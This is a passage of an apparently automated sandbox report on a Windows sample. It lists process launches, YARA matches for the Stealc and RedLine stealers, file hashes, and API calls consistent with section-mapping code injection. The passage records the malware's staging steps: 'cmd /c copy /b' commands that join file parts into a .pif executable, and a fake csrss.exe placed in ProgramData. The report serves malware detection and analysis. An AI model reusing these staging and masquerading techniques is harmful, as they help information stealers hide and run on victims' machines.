Commandline:	cmd /c copy /b Span + Cigarette + Instances + Mfg + Cable 21808\Adaptation.pif
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	19:54:23
Start date:	02/12/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b Complex 21808\G
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	19:54:23
Start date:	02/12/2023
Path:	C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif
Wow64 process (32bit):	true
Commandline:	21808\Adaptation.pif 21808\G
Imagebase:	0xec0000
File size:	946'784 bytes
MD5 hash:	848164D084384C49937F99D5B894253E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000028.00000002.2537868096.0000000000511000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000028.00000003.2329513284.0000000005191000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000028.00000002.2542428168.000000000401D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000028.00000002.2541354417.0000000002176000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000028.00000002.2542518309.0000000004054000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	19:54:23
Start date:	02/12/2023
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 5 localhost
Imagebase:	0x650000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	19:54:27
Start date:	02/12/2023
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	2'037'760 bytes
MD5 hash:	57C833BFD5042E34BEC23DFD711CD151
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000002A.00000002.2100070670.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	19:54:29
Start date:	02/12/2023
Path:	C:\Users\user\AppData\Roaming\jtcegfu
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\jtcegfu
Imagebase:	0x400000
File size:	311'296 bytes
MD5 hash:	33A60439E95F0DFC10016075F97AEB0C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 78%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	19:54:32
Start date:	02/12/2023
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	2'037'760 bytes
MD5 hash:	57C833BFD5042E34BEC23DFD711CD151
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	19:54:37
Start date:	02/12/2023
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	2'037'760 bytes
MD5 hash:	57C833BFD5042E34BEC23DFD711CD151
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000002D.00000002.2197337839.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	19:54:40
Start date:	02/12/2023
Path:	C:\Users\user\AppData\Roaming\gtcegfu
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\gtcegfu
Imagebase:	0x400000
File size:	259'072 bytes
MD5 hash:	CD4811C966234ED3742118C9B299A8CA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	19:54:42
Start date:	02/12/2023
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	2'037'760 bytes
MD5 hash:	57C833BFD5042E34BEC23DFD711CD151
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	40.4%
Total number of Nodes:	99
Total number of Limit Nodes:	3

Executed Functions

Function 00401590 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2cbd6ec05239dbc4a503fd607fc061f182b9162cf2da94a36cc8c115d3a77736
Instruction ID: d6964195f2ae178c179c3b7a32e304a619fe45f2cb2dcf097c8130f3d204b23e
Opcode Fuzzy Hash: 2cbd6ec05239dbc4a503fd607fc061f182b9162cf2da94a36cc8c115d3a77736
Instruction Fuzzy Hash: 64616FB0904205FFEB208F91CC58FAF7BB8EF81710F10416AFA12BA1E5D6749941DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040159B Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: df07a11c1f24d791c25e537703dbce26070684c9deafe950bb9681e10f81a9a9
Instruction ID: ff81ed2e81490e93a7bfe721f9c6a4d9304ec08e35c355afa89281eda0ffd623
Opcode Fuzzy Hash: df07a11c1f24d791c25e537703dbce26070684c9deafe950bb9681e10f81a9a9
Instruction Fuzzy Hash: 3E5109B5900249BFEB208F91CC49FAB7BB8FF85710F144169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015B0 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: a7e60c5a41d4908375fc31c4b6c4e2bbeec22892769375b72d3bd83e5b0b977f
Instruction ID: af686ae4933c2f6004de28669cc23aaadd0110c3f88d1b974755b8c34b4799b2
Opcode Fuzzy Hash: a7e60c5a41d4908375fc31c4b6c4e2bbeec22892769375b72d3bd83e5b0b977f
Instruction Fuzzy Hash: 0E51F9B5900249BFEB208F91CC48FAF7BB8FF85B10F104169FA11BA2E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004015BC Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 135eed6116c8d0df2f7178b09ade5a6e1ff685039e88d48ad467dd30cdb0616a
Instruction ID: 765dedf92b6036aea99e2596c7c6646b0bcbba97602321f23575c560d9e65fb8
Opcode Fuzzy Hash: 135eed6116c8d0df2f7178b09ade5a6e1ff685039e88d48ad467dd30cdb0616a
Instruction Fuzzy Hash: 1451E8B5900249BFEF208F91CC48FDF7BB8FF85B10F104169FA11AA2A5D6749945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004015CB Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B6
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F7
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401728
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 0040174A

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ba67e1f16af4be9518fed8aacaae1832fa0a3a80067efc1925776326dbaa2bcf
Instruction ID: 60f1a669064b898f2f8cfe764b4cdaf5e199705ebcb5ef48edc51869d28594cd
Opcode Fuzzy Hash: ba67e1f16af4be9518fed8aacaae1832fa0a3a80067efc1925776326dbaa2bcf
Instruction Fuzzy Hash: 2C51FAB1900249BFEF208F91CC48F9FBBB8FF85B10F104169FA11AA2A5D7749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 02B7767B Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02B776A3
Module32First.KERNEL32(00000000,00000224), ref: 02B776C3

Memory Dump Source

Source File: 00000000.00000002.1366482846.0000000002B70000.00000040.00000020.00020000.00000000.sdmp, Offset: 02B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_BRvptajioG.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 1f1cb55bc938b0cad8b9803c4a34f144bba06eeae97cdfd96ff1c88f0b473494
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: D3F096311007116BD7203BF9998CBAEB6E8EF49628F110568E666D14C4DF70E8455A65

Uniqueness

Uniqueness Score: -1.00%

Function 004029BA Relevance: 1.6, APIs: 1, Instructions: 60
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: a4dca9302e0dad72885c4692ab5cb8cae0b5d62f3c3c569d28ec25213b71ed9b
Instruction ID: ddfd821467dba8d9e3be05996510f596060048204c77d2b9bdf6330f9e046059
Opcode Fuzzy Hash: a4dca9302e0dad72885c4692ab5cb8cae0b5d62f3c3c569d28ec25213b71ed9b
Instruction Fuzzy Hash: 5C11E571708104E7D6209A449B4EF6B3724AB50B00F308077E5077A1C0D9FD9A07BBAF

Uniqueness

Uniqueness Score: -1.00%

Function 02B4003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 02B4024D

Strings

cess, xrefs: 02B4018D
kernel32.dll, xrefs: 02B4008F, 02B40095

Memory Dump Source

Source File: 00000000.00000002.1366353572.0000000002B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b40000_BRvptajioG.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 0977fe0f38baa2eadeff414d1cd25ec89b935f2bf9e575dc375ae34da3e30d61
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: A8527974A01229DFDB64CF68C984BACBBB1BF09304F1484D9E94DAB351DB30AA85DF15

Uniqueness

Uniqueness Score: -1.00%

Function 02B40E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02B40223,?,?), ref: 02B40E19
SetErrorMode.KERNELBASE(00000000,?,?,02B40223,?,?), ref: 02B40E1E

Memory Dump Source

Source File: 00000000.00000002.1366353572.0000000002B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b40000_BRvptajioG.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 2738175c8318937e11bd12f4a95a1759e50e90c7a9c013b2d21915a3f363ac04
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 45D0123154512877D7003A94DC09BCD7B1CDF09B66F008451FB0DD9080CB70954046E6

Uniqueness

Uniqueness Score: -1.00%

Function 004029C5 Relevance: 1.6, APIs: 1, Instructions: 55
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 333aea26451719957bd8781c4e70e83443ace3711d050c956ec81263ed65ec92
Instruction ID: eda82e36109819710fc28ef01b941f30aa1b457bd77d6c907d6690057fca41fa
Opcode Fuzzy Hash: 333aea26451719957bd8781c4e70e83443ace3711d050c956ec81263ed65ec92
Instruction Fuzzy Hash: 3C01C471708205E7DA60DA949A4EB6B7710AB51B10F308077E5037A1C4DAFD9A07FB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004029D1 Relevance: 1.6, APIs: 1, Instructions: 54
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: da894c7326048032464e7349d523fd108c1afa196a754505061287001ba291c1
Instruction ID: 27f311fed6bd4bb195386d6e886048742e5b6b48a655c0a394e70793ed6bf28f
Opcode Fuzzy Hash: da894c7326048032464e7349d523fd108c1afa196a754505061287001ba291c1
Instruction Fuzzy Hash: E0018071708105E7DA609A449B4EB6B7324BB50B10F308477E5077A1C4DAFD9A07BB6F

Uniqueness

Uniqueness Score: -1.00%

Function 004029D5 Relevance: 1.6, APIs: 1, Instructions: 51
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 93c6ed4af90dd73a0cd116a21735c1461f97803cc5cb0c65d4839ead39cc4991
Instruction ID: 6c082c2f6db60d75b034223dafbed04b71575a1e0537fab93527f59567f6cb96
Opcode Fuzzy Hash: 93c6ed4af90dd73a0cd116a21735c1461f97803cc5cb0c65d4839ead39cc4991
Instruction Fuzzy Hash: DB01B531708105E7DB60DA409A4DF5F7720BB50B10F208577E5077A1C4DAF99A17EB9B

Uniqueness

Uniqueness Score: -1.00%

Function 004029E2 Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: d0d0def40aac7e8450b63a54bcf2c7dac1937ebce113abd7991520b4d605f8bf
Instruction ID: daf8977218c418413866257df5c9087131837fd98e0c4230724de407841e0162
Opcode Fuzzy Hash: d0d0def40aac7e8450b63a54bcf2c7dac1937ebce113abd7991520b4d605f8bf
Instruction Fuzzy Hash: 3801DF31708104E7DB209A848A4DB5E7320AB40B10F208577E507BA1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 004029E9 Relevance: 1.5, APIs: 1, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 3e53b5cf2e2ed02fb7f3c038b8c139b1b1e2f817f129a3cb190f97decf0f5574
Instruction ID: 5524fd7572365f35614fa46947343296b9db081daee3b4d0816b59f029c0b045
Opcode Fuzzy Hash: 3e53b5cf2e2ed02fb7f3c038b8c139b1b1e2f817f129a3cb190f97decf0f5574
Instruction Fuzzy Hash: 2101A731704104E7D7209A448A4EB5E7720AB40704F208477E5067A1C4DAB9EA07AB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004029F9 Relevance: 1.5, APIs: 1, Instructions: 45
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00402A18

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: a7adcaff03fe6d5cd1b91967a91de7f13e7fa7f8c537a28c3eeb2b937e183322
Instruction ID: 2a527b723104a8d4642483acce18f9de5ed6d5a74c4e47f32731208c7d716ef4
Opcode Fuzzy Hash: a7adcaff03fe6d5cd1b91967a91de7f13e7fa7f8c537a28c3eeb2b937e183322
Instruction Fuzzy Hash: 1801A231708104E7DB209A849A4DF9F7720AB40B14F208477E5027A1C0DAF9AA07AFAB

Uniqueness

Uniqueness Score: -1.00%

Function 00401969 Relevance: 1.3, APIs: 1, Instructions: 62sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 1cdd2c51383e0c2d96f43bc5613bac4cb7d039a029d09a8172cc3fa442de89e5
Instruction ID: 1276e484f00ba66cbffb4616bb4d5d076efec51046982770477825c9afbd6400
Opcode Fuzzy Hash: 1cdd2c51383e0c2d96f43bc5613bac4cb7d039a029d09a8172cc3fa442de89e5
Instruction Fuzzy Hash: 0F01D2B6708205FADB005A949C62EBB3618AB41755F300637BA13B80F1C57D8513FA6F

Uniqueness

Uniqueness Score: -1.00%

Function 00401975 Relevance: 1.3, APIs: 1, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 8797b8bc6885a342f1e36b93119ef4e798d31798743e175d47ca896281835956
Instruction ID: 0230620869f43b82b90ed4dddf49477c9f5c6c73dade890abd4ec4b7d4a8195a
Opcode Fuzzy Hash: 8797b8bc6885a342f1e36b93119ef4e798d31798743e175d47ca896281835956
Instruction Fuzzy Hash: 4801BCB6308205FADB005A949C62FBA3219AB84751F30053BB613BC0F1C53D8513FA2F

Uniqueness

Uniqueness Score: -1.00%

Function 0040197F Relevance: 1.3, APIs: 1, Instructions: 54sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a0d7dc5b12ef01b67d7d7abb145a337d6e07883d90b43eb0718f1d188bcf6ad3
Instruction ID: 9a4b4ffd5ca22a672d673467c452b15ea5c40039b4ea8ded510267d200494456
Opcode Fuzzy Hash: a0d7dc5b12ef01b67d7d7abb145a337d6e07883d90b43eb0718f1d188bcf6ad3
Instruction Fuzzy Hash: 3A01B1B6308205FADB115A949C61A7A3319AB45711F30053BB613B80F2C53D8512FA1F

Uniqueness

Uniqueness Score: -1.00%

Function 00401986 Relevance: 1.3, APIs: 1, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 00000000.00000002.1364817247.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_BRvptajioG.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
